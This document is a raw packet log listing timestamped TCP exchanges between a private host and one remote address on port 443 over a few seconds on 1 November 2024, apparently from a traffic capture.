Nov 1, 2024 05:52:59.894536018 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.894550085 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.895767927 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.914361000 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.914376020 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.914468050 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.914475918 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.914696932 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.915551901 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.915570974 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.915627956 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.915635109 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.915707111 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.916757107 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.916776896 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.916829109 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.916836023 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.916898012 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.917884111 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.917903900 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.917947054 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.917953968 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.918019056 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.918677092 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.918690920 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.918742895 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.918750048 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.918885946 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.011802912 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.011825085 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.011884928 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.011898994 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.012027025 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.012058973 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.012106895 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.012113094 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.012129068 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.012172937 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.012243032 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.012254000 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.012263060 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.012268066 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.050800085 CET	49766	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.050818920 CET	443	49766	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.050920963 CET	49765	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.050940037 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.050961971 CET	49766	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.050987005 CET	49765	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.051438093 CET	49766	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.051450014 CET	443	49766	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.051542997 CET	49765	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.051552057 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.052738905 CET	49767	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.052746058 CET	443	49767	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.052799940 CET	49767	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.053234100 CET	49767	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.053242922 CET	443	49767	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.058836937 CET	49768	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.058868885 CET	443	49768	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.058991909 CET	49768	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.059068918 CET	49768	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.059082985 CET	443	49768	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.059541941 CET	49769	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.059567928 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.059633970 CET	49769	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.059767962 CET	49769	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.059778929 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.776756048 CET	443	49767	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.777240992 CET	49767	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.777247906 CET	443	49767	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.777682066 CET	49767	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.777687073 CET	443	49767	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.779192924 CET	443	49766	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.779553890 CET	49766	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.779565096 CET	443	49766	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.780035973 CET	49766	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.780040979 CET	443	49766	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.787442923 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.787750006 CET	49765	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.787758112 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.788175106 CET	49765	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.788178921 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.794469118 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.794770956 CET	49769	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.794796944 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.795104027 CET	49769	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.795108080 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.815949917 CET	443	49768	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.816229105 CET	49768	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.816245079 CET	443	49768	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.816579103 CET	49768	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.816584110 CET	443	49768	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.904877901 CET	443	49767	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.904892921 CET	443	49767	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.904934883 CET	443	49767	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.904984951 CET	49767	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.905030012 CET	49767	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.905162096 CET	49767	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.905175924 CET	443	49767	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.905184984 CET	49767	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.905189991 CET	443	49767	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.907749891 CET	443	49766	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.907829046 CET	443	49766	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.907880068 CET	49766	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.908116102 CET	49770	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.908148050 CET	443	49770	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.908212900 CET	49770	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.908236980 CET	49766	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.908242941 CET	443	49766	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.908252954 CET	49766	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.908256054 CET	443	49766	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.910130978 CET	49771	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.910154104 CET	443	49771	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.910226107 CET	49771	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.910309076 CET	49770	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.910322905 CET	443	49770	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.910439014 CET	49771	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.910445929 CET	443	49771	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.917819023 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.917834997 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.917896032 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.917917013 CET	49765	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.917989016 CET	49765	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.920289993 CET	49765	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.920294046 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.920304060 CET	49765	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.920305967 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.922007084 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.922060013 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.922116995 CET	49769	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.922127008 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.922177076 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.922225952 CET	49769	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.922667027 CET	49772	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.922700882 CET	443	49772	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.922758102 CET	49769	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.922763109 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.922772884 CET	49772	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.922774076 CET	49769	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.922776937 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.923017025 CET	49772	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.923032999 CET	443	49772	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.925766945 CET	49773	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.925798893 CET	443	49773	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.925863028 CET	49773	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.926032066 CET	49773	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.926039934 CET	443	49773	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.949992895 CET	443	49768	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.950098991 CET	443	49768	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.950160027 CET	49768	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.950270891 CET	49768	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.950284004 CET	443	49768	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.950293064 CET	49768	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.950297117 CET	443	49768	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.952334881 CET	49774	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.952358961 CET	443	49774	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:00.952435017 CET	49774	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.952542067 CET	49774	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:00.952558994 CET	443	49774	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.643409014 CET	443	49770	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.644124985 CET	49770	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.644145012 CET	443	49770	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.644620895 CET	49770	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.644625902 CET	443	49770	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.645211935 CET	443	49771	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.645555019 CET	49771	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.645581007 CET	443	49771	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.645956039 CET	49771	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.645963907 CET	443	49771	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.653925896 CET	443	49773	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.654259920 CET	49773	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.654275894 CET	443	49773	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.654649019 CET	49773	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.654654026 CET	443	49773	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.656933069 CET	443	49772	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.657541990 CET	49772	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.657555103 CET	443	49772	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.657658100 CET	49772	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.657663107 CET	443	49772	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.673027992 CET	443	49774	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.673337936 CET	49774	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.673346996 CET	443	49774	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.673734903 CET	49774	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.673738956 CET	443	49774	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.772397041 CET	443	49770	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.772510052 CET	443	49770	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.772579908 CET	49770	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.772773027 CET	49770	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.772790909 CET	443	49770	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.772805929 CET	49770	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.772810936 CET	443	49770	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.775587082 CET	443	49771	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.775715113 CET	443	49771	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.775717020 CET	49775	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.775739908 CET	443	49775	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.775774956 CET	49771	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.775815010 CET	49775	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.775875092 CET	49771	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.775883913 CET	443	49771	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.775892973 CET	49771	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.775896072 CET	443	49771	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.775964975 CET	49775	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.775979042 CET	443	49775	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.777883053 CET	49776	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.777893066 CET	443	49776	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.777962923 CET	49776	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.778099060 CET	49776	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.778109074 CET	443	49776	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.780864000 CET	443	49773	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.781097889 CET	443	49773	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.781155109 CET	49773	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.781322002 CET	49773	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.781322002 CET	49773	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.781330109 CET	443	49773	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.781337976 CET	443	49773	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.783139944 CET	49777	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.783163071 CET	443	49777	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.783238888 CET	49777	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.783360958 CET	49777	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.783371925 CET	443	49777	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.787103891 CET	443	49772	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.787158012 CET	443	49772	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.787208080 CET	49772	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.787321091 CET	49772	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.787337065 CET	443	49772	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.787352085 CET	49772	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.787355900 CET	443	49772	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.789180994 CET	49778	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.789189100 CET	443	49778	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.789264917 CET	49778	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.789381981 CET	49778	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.789391041 CET	443	49778	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.815052986 CET	443	49774	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.815099001 CET	443	49774	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.815149069 CET	49774	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.815248966 CET	49774	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.815259933 CET	443	49774	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.815268993 CET	49774	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.815274954 CET	443	49774	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.817122936 CET	49779	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.817150116 CET	443	49779	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:01.817203999 CET	49779	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.817456007 CET	49779	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:01.817471981 CET	443	49779	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.470865011 CET	443	49778	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.471580982 CET	49778	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.471601963 CET	443	49778	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.472129107 CET	49778	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.472134113 CET	443	49778	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.472430944 CET	443	49776	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.472742081 CET	49776	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.472748995 CET	443	49776	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.473206043 CET	49776	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.473208904 CET	443	49776	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.475625992 CET	443	49779	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.475895882 CET	49779	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.475905895 CET	443	49779	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.476330996 CET	49779	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.476336002 CET	443	49779	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.481822968 CET	443	49775	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.482096910 CET	49775	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.482114077 CET	443	49775	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.482527971 CET	49775	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.482532024 CET	443	49775	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.482580900 CET	443	49777	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.482853889 CET	49777	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.482861996 CET	443	49777	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.483300924 CET	49777	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.483304977 CET	443	49777	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.597426891 CET	443	49778	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.597600937 CET	443	49778	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.597665071 CET	49778	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.597791910 CET	49778	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.597804070 CET	443	49778	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.597814083 CET	49778	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.597820044 CET	443	49778	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.600593090 CET	443	49776	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.600769997 CET	443	49776	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.600826979 CET	49776	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.600878954 CET	49776	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.600883007 CET	443	49776	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.600897074 CET	49776	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.600899935 CET	443	49776	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.601650953 CET	49780	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.601676941 CET	443	49780	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.601751089 CET	49780	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.601952076 CET	49780	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.601958990 CET	443	49780	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.603552103 CET	49781	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.603583097 CET	443	49781	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.603708982 CET	49781	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.603867054 CET	49781	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.603884935 CET	443	49781	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.604218006 CET	443	49779	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.604317904 CET	443	49779	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.604374886 CET	49779	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.604494095 CET	49779	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.604512930 CET	443	49779	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.604531050 CET	49779	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.604536057 CET	443	49779	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.607017994 CET	49782	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.607028008 CET	443	49782	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.607099056 CET	49782	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.607270002 CET	49782	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.607279062 CET	443	49782	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.608453035 CET	443	49777	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.608670950 CET	443	49777	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.608733892 CET	49777	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.608767986 CET	49777	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.608772039 CET	443	49777	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.608783007 CET	49777	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.608787060 CET	443	49777	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.608901978 CET	443	49775	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.609054089 CET	443	49775	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.609102964 CET	49775	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.609138966 CET	49775	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.609143019 CET	443	49775	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.609155893 CET	49775	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.609159946 CET	443	49775	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.611105919 CET	49783	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.611126900 CET	443	49783	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.611221075 CET	49783	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.611445904 CET	49783	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.611459017 CET	443	49783	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.611771107 CET	49784	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.611798048 CET	443	49784	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:03.611865044 CET	49784	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.612031937 CET	49784	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:03.612044096 CET	443	49784	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.319569111 CET	443	49781	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.320041895 CET	49781	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.320058107 CET	443	49781	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.320628881 CET	49781	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.320635080 CET	443	49781	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.336647987 CET	443	49784	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.336991072 CET	49784	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.337014914 CET	443	49784	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.337436914 CET	49784	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.337444067 CET	443	49784	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.342823982 CET	443	49783	13.107.246.45	192.168.2.4
